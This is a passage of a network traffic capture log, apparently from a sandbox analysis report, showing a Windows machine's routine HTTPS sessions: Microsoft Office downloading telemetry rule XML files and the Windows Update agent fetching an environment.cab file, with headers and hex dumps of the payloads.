2024-10-26 11:46:08 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.9	49807	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:08 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:08 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:08 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: d5dedb48-201e-003c-4815-2630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114608Z-17c5cb586f64v7xs992vpxwchg000000020g0000000036a1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:08 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.9	49806	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:08 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:08 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:08 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114608Z-16849878b78q9m8bqvwuva4svc00000000c0000000001zs7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:08 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.9	49810	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:09 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:09 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:09 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114609Z-16849878b78hh85qc40uyr8sc8000000024000000000g1gr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:46:09 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.9	49811	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:09 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:09 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:09 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114609Z-16849878b78km6fmmkbenhx76n000000018000000000bx63 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:09 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.9	49809	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:09 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YsRBWO26KCpAR2h&MD=1Ebpe4H8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-26 11:46:09 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 040491ce-94f6-46d3-b5c2-2b5dfc3a2647 MS-RequestId: 93916845-041c-41f1-9955-632cfca85bf1 MS-CV: 84WUsBuOokqfgvP1.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 26 Oct 2024 11:46:08 GMT Connection: close Content-Length: 24490
2024-10-26 11:46:09 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-26 11:46:09 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.9	49812	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:09 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:09 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:09 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: af778f23-101e-007a-027e-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114609Z-17c5cb586f67hfgj2durhqcxk800000000rg000000003kva x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:46:09 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.9	49814	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:09 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:09 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:09 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 39bddf94-501e-0016-02f5-24181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114609Z-r197bdfb6b4bq7nf8mnywhn9e00000000300000000005ta9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:09 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.9	49813	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:09 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:09 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:09 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114609Z-16849878b785dznd7xpawq9gcn00000003eg000000001pk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:09 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.9	49815	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:09 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:10 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:09 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 7f795d00-001e-0082-463f-265880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114609Z-15b8d89586fxdh48qknu9dqk2g00000005v0000000007nq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:10 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.9	49816	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:09 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:10 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:09 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 22d1952d-101e-007a-6d50-26047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114609Z-r197bdfb6b4hsj5bywyqk9r2xw000000037000000000bgcn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:10 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.9	49817	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:10 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
